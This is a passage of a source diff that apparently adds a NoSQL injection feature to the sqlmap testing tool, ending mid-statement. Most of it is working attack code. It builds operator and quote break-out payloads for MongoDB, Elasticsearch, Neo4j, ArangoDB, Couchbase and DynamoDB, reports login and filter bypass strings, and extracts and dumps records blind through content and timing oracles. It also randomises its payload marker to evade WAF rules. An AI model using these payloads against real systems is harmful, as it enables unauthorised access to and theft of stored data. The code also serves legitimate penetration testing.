r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P[^<>]+)", r"\[[^\n\]]{1,100}(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)", r"(?Pquery error: SELECT[^<>]+)", - r"(?P(?:(?:ORA|PLS)-[0-9]{5}:|SQLCODE[ =:]+-?[0-9]+|SQLSTATE[ =:]+[0-9A-Z]{5}|Dynamic SQL Error|DB2 SQL error:|SAP DBTech JDBC:|SQLiteException:|You have an error in your SQL syntax;|Incorrect syntax near |Unclosed quotation mark after the character string|near \"[^\"]+\": syntax error)[^\n<]*)" + r"(?P(?:(?:ORA|PLS)-[0-9]{5}:|SQLCODE[ =:]+-?[0-9]+|SQLSTATE[ =:]+[0-9A-Z]{5}|Dynamic SQL Error|DB2 SQL error:|SAP DBTech JDBC:|SQLiteException:|You have an error in your SQL syntax;|Incorrect syntax near |Unclosed quotation mark after the character string|near \"[^\"]+\": syntax error)[^\n<]*)", + r'"(?:errmsg|errorMessage|reason|msg)"\s*:\s*"(?P[^"]+)"' # generic JSON error-message field (NoSQL document/REST back-ends) ) # Regular expression used for parsing charset info from meta html headers @@ -847,6 +848,35 @@ # Regular expression used for recognition of file inclusion errors FI_ERROR_REGEX = r"(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}" +# Regular expressions (per back-end, anchored to actual error-message structure - not product names) used for heuristic recognition of NoSQL injection +NOSQL_ERRORS = ( + ("MongoDB", r"Mongo(?:Server|Parse|Network|Runtime|Bulk|WriteConcern)?Error\b|\bBSON(?:Type)?Error\b|\bMongooseError\b|CastError: Cast to|unknown (?:top.level )?operator: ?\$|\$(?:regex|where|expr|in|nin|ne|gt|lt|elemMatch) (?:has to be|is not allowed|must be|not supported|requires)|Regular expression is invalid"), + ("CouchDB", r'"error"\s*:\s*"(?:bad_request|query_parse_error|missing_named_query)"|invalid operator: ?\$'), + ("Elasticsearch", r'"type"\s*:\s*"[a-z_]*?(?:query_shard|x_content_parse|parsing|search_phase_execution|illegal_argument|too_many_clauses|number_format|script)_exception"|Failed to parse query \['), + ("Solr", r"org\.apache\.solr\.[\w.]*(?:SyntaxError|SolrException)"), + ("Neo4j", r"Neo\.(?:ClientError|DatabaseError|TransientError|ClientNotification)\.|\bNeo4jError\b|even number of non-escaped quotes|Failed to parse string literal|expected an expression|'(?:UNWIND|OPTIONAL|DETACH|FOREACH|MERGE|LOAD CSV)'"), + ("ArangoDB", r"\bArangoError\b|AQL: (?:syntax|parse) error"), + ("Cassandra", r"line \d+:\d+ (?:no viable alternative at input|(?:mismatched|extraneous) input '.*?' expecting)|org\.apache\.cassandra|com\.datastax|\bInvalid(?:Request|Query)Exception\b"), + ("Redis", r"\bWRONGTYPE\b|ERR Error (?:compiling|running) script|@user_script|\bReplyError\b"), + ("Memcached", r"CLIENT_ERROR bad|SERVER_ERROR object too large"), + ("InfluxDB", r"error parsing query|unable to parse '[^']*': found"), + ("HBase/Phoenix", r"org\.apache\.phoenix|PhoenixParserException|org\.apache\.hadoop\.hbase"), +) +NOSQL_ERROR_REGEX = "(?:%s)" % '|'.join(regex for _, regex in NOSQL_ERRORS) + +# Printable-ASCII codepoint bounds bisected (via regexp character-class ranges) during NoSQL blind extraction +NOSQL_CHAR_MIN = 0x20 +NOSQL_CHAR_MAX = 0x7e + +# Maximum number of document fields enumerated during a NoSQL ($where server-side JavaScript) document dump +NOSQL_MAX_FIELDS = 64 + +# Maximum number of records walked during a NoSQL blind multi-record (ordered key paging) collection dump +NOSQL_MAX_RECORDS = 100 + +# Upper bound for the length search during NoSQL blind extraction +NOSQL_MAX_LENGTH = 1024 + # Length of prefix and suffix used in non-SQLI heuristic checks NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6 diff --git a/lib/core/testing.py b/lib/core/testing.py index a1773789c4e..0d9a084e7e3 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -88,6 +88,7 @@ def vulnTest(): ("-u --flush-session --technique=B --keyset --dump -T users", ("using keyset (seek) pagination", "30 entries", "luther", "nameisnull")), # keyset/seek dump via the SQLite rowid cursor ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [30]", "nameisnull")), ("-u \"&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)), + ("-u \"nosql?name=luther&password=x\" -p password --nosql --flush-session", ("is vulnerable to NoSQL injection", "back-end: 'MongoDB'", "NoSQL: GET parameter 'password'", "s3cr3t")), # NoSQL (MongoDB) operator-injection detection + blind regexp extraction ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)), diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index d35c61b958f..c6e4205ab38 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -415,6 +415,9 @@ def cmdLineParser(argv=None): techniques.add_argument("--technique", dest="technique", help="SQL injection techniques to use (default \"%s\")" % defaults.technique) + techniques.add_argument("--nosql", dest="nosql", action="store_true", + help="Test for NoSQL injection (e.g. MongoDB, CouchDB, Neo4j)") + techniques.add_argument("--time-sec", dest="timeSec", type=int, help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec) diff --git a/lib/techniques/nosql/__init__.py b/lib/techniques/nosql/__init__.py new file mode 100644 index 00000000000..2c772879a4f --- /dev/null +++ b/lib/techniques/nosql/__init__.py @@ -0,0 +1,6 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" diff --git a/lib/techniques/nosql/inject.py b/lib/techniques/nosql/inject.py new file mode 100644 index 00000000000..ed26886dc6d --- /dev/null +++ b/lib/techniques/nosql/inject.py @@ -0,0 +1,765 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import difflib +import json +import re +import time + +from collections import namedtuple +from collections import OrderedDict + +from lib.core.common import randomStr +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import PLACE +from lib.core.enums import POST_HINT +from lib.core.settings import NOSQL_CHAR_MAX +from lib.core.settings import NOSQL_CHAR_MIN +from lib.core.settings import NOSQL_ERROR_REGEX +from lib.core.settings import NOSQL_MAX_FIELDS +from lib.core.settings import NOSQL_MAX_LENGTH +from lib.core.settings import NOSQL_MAX_RECORDS +from lib.core.settings import UPPER_RATIO_BOUND +from lib.request.connect import Connect as Request +from lib.utils.xrange import xrange +from thirdparty.six.moves import urllib as _urllib + +# Improbable literal used to build always-true/never-match payloads. Randomized per run (like +# kb.chars boundaries) so it never becomes a static signature a WAF can pin a blocking rule on. +NOSQL_SENTINEL = randomStr(length=10, lowercase=True) + +# Maximum number of characters of in-band (reflected) data surfaced from an always-true response +NOSQL_DUMP_LIMIT = 4096 + +# Delivery shapes that can carry an injection into a back-end filter/query +NOSQL_PLACES = (PLACE.GET, PLACE.POST, PLACE.URI, PLACE.CUSTOM_POST, PLACE.COOKIE) + +# Lucene regexp metacharacters (Elasticsearch/Solr) requiring escaping in built patterns +LUCENE_META = set('.?+*|(){}[]"\\/') + +# Java regexp metacharacters (Cypher/AQL =~) requiring escaping in built patterns +JAVA_META = set('.?+*|(){}[]^$\\/') + +# Engines detectable through a syntax-breaking probe but lacking a clean substring oracle for blind +# extraction (mapped from recognizable error-message fragments - not product names - to back-end name) +ERROR_SIGNATURES = ( + ("Cassandra", ("no viable alternative at input", "org.apache.cassandra", "com.datastax", "invalidrequestexception")), + ("Redis", ("wrongtype operation", "err error compiling script", "err error running script", "@user_script", "replyerror")), + ("Memcached", ("client_error bad", "server_error object too large")), + ("InfluxDB", ("error parsing query", "unable to parse")), + ("HBase/Phoenix", ("org.apache.phoenix", "phoenixparserexception", "org.apache.hadoop.hbase")), +) + +_UNSET = object() + +# HTTP status of the most recent request issued by _send() (None when bypassed, e.g. under tests) +_lastCode = None + +# Resolved injection vector. `template` is the always-true page for content-based blind extraction +# (None for time-based/detection-only); `bypass` is the always-true payload reported as a login/filter +# bypass; `truth` overrides the content oracle (e.g. a timing predicate for the $where time-based path); +# `dump` is a callable returning (columns, rows) for a whole-document dump (server-side-JS key enumeration). +Vector = namedtuple("Vector", ("dbms", "fetch", "lengthValue", "charValue", "template", "bypass", "truth", "dump")) +Vector.__new__.__defaults__ = (None, None, None, None) + +def _ratio(first, second): + return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() + +def _encode(value): + return _urllib.parse.quote(value, safe="") + +def _lucene(value): + return "".join(("\\" + _ if _ in LUCENE_META else _) for _ in value) + +def _javaEscape(value): + return "".join(("\\" + _ if _ in JAVA_META else _) for _ in value) + +def _quoted(regex): + # double every backslash so a regexp survives a single-quoted string literal (Cypher/AQL/N1QL), + # whose own backslash processing would otherwise strip one level before the engine parses it + return regex.replace("\\", "\\\\") + +def _isJsonBody(): + return kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE) + +def _jsonKey(parameter): + for prefix in ("JSON ", "JSON-like "): + if parameter.startswith(prefix): + return parameter[len(prefix):] + return parameter + +def _delim(place): + # parameter delimiter for the place: ';' for cookies (per --cookie-del), '&' otherwise + return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&' + +def _originalValue(place, parameter): + for segment in conf.parameters[place].split(_delim(place)): + name, _, value = segment.partition('=') + if name.strip() == parameter: + return value + return conf.paramDict.get(place, {}).get(parameter) or "" + +def _replaceSegment(place, parameter, segment): + """Rebuild conf.parameters[place], swapping the target parameter for `segment` (e.g. 'k[$ne]=v' + or 'k=v') while preserving every sibling parameter verbatim""" + + delimiter = _delim(place) + retVal, replaced = [], False + + for part in conf.parameters[place].split(delimiter): + if not replaced and part.split('=', 1)[0].strip() == parameter: + retVal.append(segment) + replaced = True + else: + retVal.append(part) + + if not replaced: + retVal = [segment if name == parameter else "%s=%s" % (_encode(name), _encode(value)) for name, value in conf.paramDict[place].items()] + + return delimiter.join(retVal) + +def _send(place, parameter, segment=None, jsonValue=_UNSET): + """Issues a single request with the target parameter overridden - by raw 'name=value' segment for + URL/body parameters, or by setting the key to `jsonValue` for JSON bodies - returning the response""" + + global _lastCode + + skipUrlEncode = conf.skipUrlEncode + conf.skipUrlEncode = True + + try: + kwargs = {"raise404": False, "silent": True} + + if jsonValue is not _UNSET and _isJsonBody() and place in (PLACE.POST, PLACE.CUSTOM_POST): + try: + data = json.loads(conf.data) + except Exception: + data = {} + data[_jsonKey(parameter)] = jsonValue + payload = kwargs["post"] = json.dumps(data) + elif place == PLACE.COOKIE: + payload = kwargs["cookie"] = _replaceSegment(place, parameter, segment) + else: + payload = _replaceSegment(place, parameter, segment) + kwargs["post" if place in (PLACE.POST, PLACE.CUSTOM_POST) else "get"] = payload + + logger.log(CUSTOM_LOGGING.PAYLOAD, _urllib.parse.unquote(payload)) # readable, surfaced at -v 3 like a regular sqlmap payload + page, _, _lastCode = Request.getPage(**kwargs) + finally: + conf.skipUrlEncode = skipUrlEncode + + return page or "" + +def _isError(page): + # a server-error status or a recognizable back-end error body marks a response as NOT a valid + # always-true template (prevents two differing error pages from faking a boolean oracle) + return (_lastCode or 0) >= 500 or bool(re.search(NOSQL_ERROR_REGEX, page or "")) + +def _fetch(place, parameter, op, value, isArray=False): + """MongoDB/CouchDB dialect: renders the parameter as an operator object (bracket or JSON shape)""" + + suffix = ("[%s][]" % op) if isArray else ("[%s]" % op) + segment = "%s%s=%s" % (_encode(parameter), suffix, _encode(value)) + return _send(place, parameter, segment, {op: [value]} if isArray else {op: value}) + +def _fetchValue(place, parameter, value): + """String dialects (Lucene query_string, Cypher, AQL): replaces the parameter's value verbatim""" + + return _send(place, parameter, "%s=%s" % (_encode(parameter), _encode(value)), value) + +def _boolean(truthy, falsy): + """Returns the (reproducible) true-page when a NoSQL true/false payload pair yields a stable + content divergence - i.e. the payload reached and influenced the back-end - else None""" + + truePage = truthy() + if not truePage or _isError(truePage): # an error response is never a valid always-true template + return None + + falsePage = falsy() + if _ratio(truePage, truthy()) > UPPER_RATIO_BOUND and _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: + return truePage + + return None + +def _detectMongo(place, parameter): + # $ne (matches everything) vs $in [sentinel] (matches nothing); $gt '' (matches any string) is a + # fallback always-true for apps that filter $ne but not the comparison operators + return _boolean(lambda: _fetch(place, parameter, "$ne", NOSQL_SENTINEL), lambda: _fetch(place, parameter, "$in", NOSQL_SENTINEL, isArray=True)) \ + or _boolean(lambda: _fetch(place, parameter, "$gt", ""), lambda: _fetch(place, parameter, "$in", NOSQL_SENTINEL, isArray=True)) + +def _detectES(place, parameter): + # query_string '*' (matches everything) vs a literal sentinel (matches nothing) + return _boolean(lambda: _fetchValue(place, parameter, '*'), lambda: _fetchValue(place, parameter, NOSQL_SENTINEL)) + +def _detectCypher(place, parameter): + # single-quote break-out: OR '1'='1' (true) vs OR '1'='2' (false) + return _boolean(lambda: _fetchValue(place, parameter, NOSQL_SENTINEL + "' OR '1'='1"), lambda: _fetchValue(place, parameter, NOSQL_SENTINEL + "' OR '1'='2")) + +def _detectAQL(place, parameter): + # single-quote break-out: || '1'=='1 (true) vs || '1'=='2 (false) + return _boolean(lambda: _fetchValue(place, parameter, NOSQL_SENTINEL + "' || '1'=='1"), lambda: _fetchValue(place, parameter, NOSQL_SENTINEL + "' || '1'=='2")) + +def _detectNumeric(place, parameter): + # unquoted (numeric-context) boolean break-out for SQL-like back-ends: OR/AND (Cypher/N1QL) or + # ||/&& (AQL). A numeric field is not blindly regexp-extractable, so exploitation is the in-band + # dump of the always-true response (rows reflected by the page) + value = (_originalValue(place, parameter) or "1").strip() + if not value.isdigit(): + return None + + template = _boolean(lambda: _fetchValue(place, parameter, "%s OR 1=1" % value), lambda: _fetchValue(place, parameter, "%s AND 1=2" % value)) + if template: + # Cypher, N1QL and PartiQL share OR/AND; tell them apart by a constant-arg, field-free primitive + # each engine alone honors: N1QL REGEXP_CONTAINS, DynamoDB begins_with (Cypher has neither) + if _confirm(place, parameter, "%s OR REGEXP_CONTAINS('ab', 'a') OR 1=2" % value, "%s OR REGEXP_CONTAINS('ab', 'z') OR 1=2" % value): + dbms = "Couchbase" + elif _confirm(place, parameter, "%s OR begins_with('ab', 'a') OR 1=2" % value, "%s OR begins_with('ab', 'z') OR 1=2" % value): + dbms = "DynamoDB" + else: + dbms = "Neo4j" + return dbms, template, "%s OR 1=1" % value + + template = _boolean(lambda: _fetchValue(place, parameter, "%s || 1==1" % value), lambda: _fetchValue(place, parameter, "%s && 1==2" % value)) + if template: + return "ArangoDB", template, "%s || 1==1" % value + + return None + +def _detectError(place, parameter): + # last-resort: a syntax-breaking value that diverges from a normal one and surfaces an engine error + original = _originalValue(place, parameter) or '1' + normal = _fetchValue(place, parameter, original) + broken = _fetchValue(place, parameter, original + "'") + + if not normal or _ratio(normal, broken) >= UPPER_RATIO_BOUND: + return None + + for engine, tokens in ERROR_SIGNATURES: + if any(_ in broken.lower() for _ in tokens): + return engine + + return None + +def _fingerprintMongo(place, parameter): + page = _fetch(place, parameter, "$regex", '(').lower() # invalid regexp -> driver/DB error + if any(_ in page for _ in ("couch", "mango", "bad_arg", "erlang")): + return "CouchDB" + elif any(_ in page for _ in ("mongo", "bson", "regular expression", "$regex")): + return "MongoDB" + else: + return "MongoDB (assumed)" + +def _fingerprintLucene(place, parameter): + page = _fetchValue(place, parameter, "/[/").lower() # invalid regexp -> engine error + if any(_ in page for _ in ("solr", "solrexception")): + return "Solr" + elif "opensearch" in page: + return "OpenSearch" + else: + return "Elasticsearch" + +def _constraint(place, parameter, eq='=', conj=" AND ", prefix="u."): + """Re-expresses sibling parameters as query constraints (field == parameter name) so extraction + stays bound to the originally matched record. `prefix`/`eq`/`conj` adapt the per-dialect syntax + (Cypher: 'u.'/'='/' AND '; AQL: 'u.'/'=='/' && '; $where JS: 'this.'/'=='/'&&')""" + + parts = [] + + for segment in conf.parameters[place].split(_delim(place)): + if '=' not in segment: + continue + name, _, value = segment.partition('=') + name = name.strip() + if name and name != parameter: + parts.append("%s%s%s'%s'" % (prefix, name, eq, value)) + + return (conj.join(parts) + conj) if parts else "" + +def _confirm(place, parameter, truePayload, falsePayload): + # disambiguates dialects that share the same break-out syntax by probing a dialect-specific + # regexp-match primitive (e.g. Cypher '=~' vs N1QL 'REGEXP_CONTAINS') for a true/false divergence + return _boolean(lambda: _fetchValue(place, parameter, truePayload), lambda: _fetchValue(place, parameter, falsePayload)) is not None + +def _timed(call): + start = time.time() + call() + return time.time() - start + +def _whereDelay(condition): + # MongoDB $where (server-side JS) string break-out: busy-loops for ~conf.timeSec seconds whenever + # the per-document JS `condition` holds, yielding a timing oracle when no content differential + # exists. The document is passed in as `d` (inside the function `this` is not the document). + return "%s' || (function(d){if(%s){var t=new Date().getTime();while(new Date().getTime()-t<%d){}}return false})(this) || '1'=='2" % (NOSQL_SENTINEL, condition, int(conf.timeSec * 1000)) + +def _detectWhere(place, parameter): + # an unconditional-delay payload must run ~conf.timeSec slower than the baseline while a + # non-delaying one stays fast (the latter guards against a uniformly slow endpoint) + threshold = _timed(lambda: _fetchValue(place, parameter, _originalValue(place, parameter) or "1")) + conf.timeSec * 0.5 + if threshold < conf.timeSec and _timed(lambda: _fetchValue(place, parameter, _whereDelay("true"))) > threshold: + if _timed(lambda: _fetchValue(place, parameter, "%s' || '1'=='2" % NOSQL_SENTINEL)) <= threshold: + return threshold + return None + +def _jsString(value): + return "'%s'" % value.replace("\\", "\\\\").replace("'", "\\'") + +def _whereField(place, parameter, bound, expr, threshold): + """Time-based recovery of an arbitrary per-document JavaScript string expression `expr` (e.g. a key + name 'Object.keys(d)[i]', or a value 'String(d[name])') via the $where busy-loop oracle""" + + truth = lambda payload: _timed(lambda: _fetchValue(place, parameter, payload)) > threshold + return _extract(None, None, + lambda n: _whereDelay("%s(%s)&&(%s).length>=%d" % (bound, expr, expr, n)), + lambda known, klass: _whereDelay("%s/^%s%s/.test(%s)" % (bound, _javaEscape(known), klass, expr)), + truth) + +def _whereDump(place, parameter, bound, threshold): + """Whole-document dump via server-side-JavaScript key enumeration: walk Object.keys(this) to recover + each field name, then String(this[name]) for its value. Returns (columns, rows) or None""" + + columns, values = [], [] + for index in xrange(NOSQL_MAX_FIELDS): + name = _whereField(place, parameter, bound, "Object.keys(d)[%d]" % index, threshold) + if not name: + break + columns.append(name) + values.append(_whereField(place, parameter, bound, "String(d[%s])" % _jsString(name), threshold) or "") + logger.info("retrieved: %s='%s'" % (name, values[-1])) + + return (columns, [values]) if columns else None + +def _classChar(ordinal): + char = chr(ordinal) + return ("\\" + char) if char in "]\\^-" else char # escape the char-class metacharacters + +def _klass(low, high): + # a regexp character class spanning the codepoints [low, high] (single member when low == high) + return "[%s]" % _classChar(low) if low == high else "[%s-%s]" % (_classChar(low), _classChar(high)) + +def _propLiteral(name): + return "'%s'" % name.replace("\\", "\\\\").replace("'", "\\'") + +def _enumField(place, parameter, template, payloadFor): + """Content-based recovery of the string matched by a regexp clause built via payloadFor(regexBody), + reusing the bisection extractor against the always-true single-record `template`""" + + return _extract(template, lambda value: _fetchValue(place, parameter, value), + lambda n: payloadFor(".{%d,}" % n), + lambda known, klass: payloadFor(_quoted(_javaEscape(known) + klass))) + +def _enumDump(place, parameter, makePayload, keysExpr, valueExpr): + """Whole-document dump via key enumeration for the regexp dialects: keysExpr(i) -> the i-th field + name, valueExpr(name) -> that field's value. makePayload(targetExpr, regexBody) wraps the dialect + break-out and record binding around a ' matches ^' oracle. Returns + (columns, rows) or None - the caller can then fall back to single-field extraction""" + + template = _fetchValue(place, parameter, makePayload(keysExpr(0), ".*")) # the bound single record + if not template or _isError(template): + return None + + columns, values = [], [] + for index in xrange(NOSQL_MAX_FIELDS): + name = _enumField(place, parameter, template, lambda rb, i=index: makePayload(keysExpr(i), rb)) + if not name: + break + columns.append(name) + values.append(_enumField(place, parameter, template, lambda rb, n=name: makePayload(valueExpr(n), rb)) or "") + logger.info("retrieved: %s='%s'" % (name, values[-1])) + + return (columns, [values]) if columns else None + +def _cypherDump(place, parameter): + """Blind multi-record collection dump (Neo4j Cypher). Walks every matched node in ascending order + of its internal node id (a unique, ordered, always-present key - unlike property order, which Neo4j + does not guarantee), key-enumerating each node's full document. Returns (columns, rows) or None""" + + fetch = lambda payload: _fetchValue(place, parameter, payload) + noMatch = fetch("%s' OR '1'='2" % NOSQL_SENTINEL) # stable zero-record baseline (app closes the quote) + differs = lambda payload: _ratio(fetch(payload), noMatch) < UPPER_RATIO_BOUND + if not noMatch or not differs("%s' OR '1'='1" % NOSQL_SENTINEL): + return None + + # a numeric condition opens no string, so balance the app's trailing quote with a tautology + exists = lambda cond: differs("%s' OR %s AND '1'='1" % (NOSQL_SENTINEL, cond)) + + def minIdGreater(lower): + # smallest internal node id strictly greater than `lower` (None when no further node exists) + if not exists("id(u) > %d" % lower): + return None + hi = lower + 1 + while not exists("id(u) > %d AND id(u) <= %d" % (lower, hi)): + hi *= 2 + if hi > (1 << 40): + return None + lo = lower + while lo + 1 < hi: + mid = (lo + hi) // 2 + if exists("id(u) > %d AND id(u) <= %d" % (lower, mid)): + hi = mid + else: + lo = mid + return hi + + columns, records, lastId = [], [], -1 + for _ in xrange(NOSQL_MAX_RECORDS): + nodeId = minIdGreater(lastId) + if nodeId is None: + break + record = _enumDump(place, parameter, + lambda expr, rb, k=nodeId: "%s' OR id(u)=%d AND %s =~ '^%s.*" % (NOSQL_SENTINEL, k, expr, rb), + lambda i: "keys(u)[%d]" % i, lambda n: "toString(u[%s])" % _propLiteral(n)) + if record: + cols, values = record + records.append(dict(zip(cols, values[0]))) # align by field name (keys(u) order is per-node) + columns.extend(_ for _ in cols if _ not in columns) + lastId = nodeId + + return (columns, [[row.get(_, "") for _ in columns] for row in records]) if records else None + +def _partiqlValue(place, parameter, bind, field): + """Blind extraction of `field` for the bound record on a DynamoDB PartiQL point. PartiQL has no + regexp, so each character is recovered by an ordered string comparison (field >= 'prefix'+char), + bisected over the printable-ASCII range. Returns the value or None""" + + quote = lambda value: value.replace("'", "''") # PartiQL escapes a single quote by doubling it + fetch = lambda payload: _fetchValue(place, parameter, payload) + template = fetch("%s' OR %s%s >= '" % (NOSQL_SENTINEL, bind, field)) # field >= '' -> bound record matches + if not template or _isError(template): + return None + + truth = lambda value: _ratio(fetch("%s' OR %s%s >= '%s" % (NOSQL_SENTINEL, bind, field, quote(value))), template) > UPPER_RATIO_BOUND + + retVal = "" + while len(retVal) < NOSQL_MAX_LENGTH: + if not truth(retVal + chr(NOSQL_CHAR_MIN)): # no character at this position -> end of value + break + lo, hi = NOSQL_CHAR_MIN, NOSQL_CHAR_MAX + while lo < hi: + mid = (lo + hi + 1) // 2 + if truth(retVal + chr(mid)): + lo = mid + else: + hi = mid - 1 + retVal += chr(lo) + + return retVal or None + +def _partiqlDump(place, parameter, key): + """DynamoDB PartiQL: comparison-extract the injected field, bound to its record by sibling + parameters (PartiQL exposes no key-enumeration, so the dumpable field is the injected one)""" + + bind = _constraint(place, parameter, "=", " AND ", prefix="") + if not bind: # need a sibling to pin a single record + return None + value = _partiqlValue(place, parameter, bind, key) + return ([key], [[value]]) if value is not None else None + +def _extract(template, fetchFn, lengthValue, charValue, truthFn=None): + """Blind value recovery: binary-searches the length, then bisects each character's codepoint over + the printable-ASCII range using regexp character-class ranges (sqlmap-style inference, ~log2(range) + requests per character instead of a linear scan - far smaller WAF/log footprint). lengthValue(n) + and charValue(known, charClass) render the dialect payload; the oracle is the content ratio against + `template` by default, or `truthFn(payload)` (e.g. the $where timing predicate)""" + + truth = truthFn or (lambda value: _ratio(fetchFn(value), template) > UPPER_RATIO_BOUND) + + length, probe = 0, 1 + while probe <= NOSQL_MAX_LENGTH and truth(lengthValue(probe)): + length, probe = probe, probe * 2 + + low, high = length, min(probe, NOSQL_MAX_LENGTH + 1) + while low + 1 < high: + mid = (low + high) // 2 + if truth(lengthValue(mid)): + low = mid + else: + high = mid + + if not low: + return None + + debugMsg = "retrieving the value (%d characters)" % low + logger.debug(debugMsg) + + retVal = "" + for _ in xrange(low): + lo, hi = NOSQL_CHAR_MIN, NOSQL_CHAR_MAX + if not truth(charValue(retVal, _klass(lo, hi))): + retVal += '?' # character outside the printable-ASCII range + continue + while lo < hi: + mid = (lo + hi) // 2 + if truth(charValue(retVal, _klass(lo, mid))): + hi = mid + else: + lo = mid + 1 + retVal += chr(lo) + + return retVal + +def _resolve(place, parameter, key): + """Tries each NoSQL dialect in turn; the first that detects fixes the back-end and the extraction + payloads. Returns a Vector (whose `template`/`lengthValue` are None for detection-only back-ends) + or None when nothing matches""" + + field = "u.%s" % key + + template = _detectMongo(place, parameter) + if template: + return Vector(_fingerprintMongo(place, parameter), + lambda value: _fetch(place, parameter, "$regex", value), + lambda n: "^.{%d,}$" % n, + lambda known, klass: "^%s%s" % (re.escape(known), klass), + template=template, bypass='{"$ne": null}') + + template = _detectES(place, parameter) + if template: + return Vector(_fingerprintLucene(place, parameter), + lambda value: _fetchValue(place, parameter, value), + lambda n: "/.{%d,}/" % n, + lambda known, klass: "/%s%s.*/" % (_lucene(known), klass), + template=template, bypass='*') + + template = _detectCypher(place, parameter) + if template: + constraint = _constraint(place, parameter) + + # Neo4j Cypher, Couchbase N1QL and DynamoDB PartiQL all share the ' OR '1'='1 break-out; tell + # them apart by the regexp/string primitive the back-end honors ('=~', 'REGEXP_CONTAINS', or + # PartiQL 'begins_with') + if not _confirm(place, parameter, "%s' OR %s%s =~ '.*" % (NOSQL_SENTINEL, constraint, field), "%s' OR %s%s =~ '%s" % (NOSQL_SENTINEL, constraint, field, NOSQL_SENTINEL)): + if _confirm(place, parameter, "%s' OR REGEXP_CONTAINS(%s, '.*') OR '1'='2" % (NOSQL_SENTINEL, field), "%s' OR REGEXP_CONTAINS(%s, '%s') OR '1'='2" % (NOSQL_SENTINEL, field, NOSQL_SENTINEL)): + return Vector("Couchbase", + lambda value: _fetchValue(place, parameter, value), + lambda n: "%s' OR REGEXP_CONTAINS(%s, '^.{%d,}') OR '1'='2" % (NOSQL_SENTINEL, field, n), + lambda known, klass: "%s' OR REGEXP_CONTAINS(%s, '^%s') OR '1'='2" % (NOSQL_SENTINEL, field, _quoted(_javaEscape(known) + klass)), + template=template, bypass="' OR '1'='1", + dump=lambda: _enumDump(place, parameter, + lambda expr, rb: "%s' OR REGEXP_CONTAINS(%s, '^%s') OR '1'='2" % (NOSQL_SENTINEL, expr, rb), + lambda i: "OBJECT_NAMES(u)[%d]" % i, lambda n: "TOSTRING(u[%s])" % _propLiteral(n))) + + if _confirm(place, parameter, "%s' OR begins_with(%s, '') OR '1'='2" % (NOSQL_SENTINEL, key), "%s' OR begins_with(%s, '%s') OR '1'='2" % (NOSQL_SENTINEL, key, NOSQL_SENTINEL)): + return Vector("DynamoDB", None, None, None, template=template, bypass="' OR '1'='1", + dump=lambda: _partiqlDump(place, parameter, key)) + + return Vector("Neo4j", None, None, None, template=template, bypass="' OR '1'='1", + dump=lambda: _cypherDump(place, parameter) or _enumDump(place, parameter, + lambda expr, rb: "%s' OR %s%s =~ '^%s.*" % (NOSQL_SENTINEL, constraint, expr, rb), + lambda i: "keys(u)[%d]" % i, lambda n: "toString(u[%s])" % _propLiteral(n))) + + template = _detectAQL(place, parameter) + if template: + constraint = _constraint(place, parameter, "==", " && ") + + # ArangoDB AQL and MongoDB $where (server-side JavaScript) both satisfy the ' || '1'=='1 + # break-out; tell them apart by which regexp-match primitive holds - AQL '=~' or a JS /re/.test() + if not _confirm(place, parameter, "%s' || ('x' =~ '.') || '1'=='2" % NOSQL_SENTINEL, "%s' || ('x' =~ 'y') || '1'=='2" % NOSQL_SENTINEL) \ + and _confirm(place, parameter, "%s' || /./.test('x') || '1'=='2" % NOSQL_SENTINEL, "%s' || /y/.test('x') || '1'=='2" % NOSQL_SENTINEL): + bound = _constraint(place, parameter, "==", "&&", prefix="this.") + whereTemplate = _fetchValue(place, parameter, "%s' || (%sthis.%s) || '1'=='2" % (NOSQL_SENTINEL, bound, key)) + return Vector("MongoDB ($where)", + lambda value: _fetchValue(place, parameter, value), + lambda n: "%s' || (%sthis.%s&&this.%s.length>=%d) || '1'=='2" % (NOSQL_SENTINEL, bound, key, key, n), + lambda known, klass: "%s' || (%sthis.%s&&/^%s%s/.test(this.%s)) || '1'=='2" % (NOSQL_SENTINEL, bound, key, _javaEscape(known), klass, key), + template=whereTemplate, bypass="' || '1'=='1") + + return Vector("ArangoDB", + lambda value: _fetchValue(place, parameter, value), + lambda n: "%s' || (%s%s =~ '^.{%d,}') || '1'=='2" % (NOSQL_SENTINEL, constraint, field, n), + lambda known, klass: "%s' || (%s%s =~ '^%s') || '1'=='2" % (NOSQL_SENTINEL, constraint, field, _quoted(_javaEscape(known) + klass)), + template=template, bypass="' || '1'=='1", + dump=lambda: _enumDump(place, parameter, + lambda expr, rb: "%s' || (%s%s =~ '^%s') || '1'=='2" % (NOSQL_SENTINEL, constraint, expr, rb), + lambda i: "ATTRIBUTES(u)[%d]" % i, lambda n: "TO_STRING(u[%s])" % _propLiteral(n))) + + numeric = 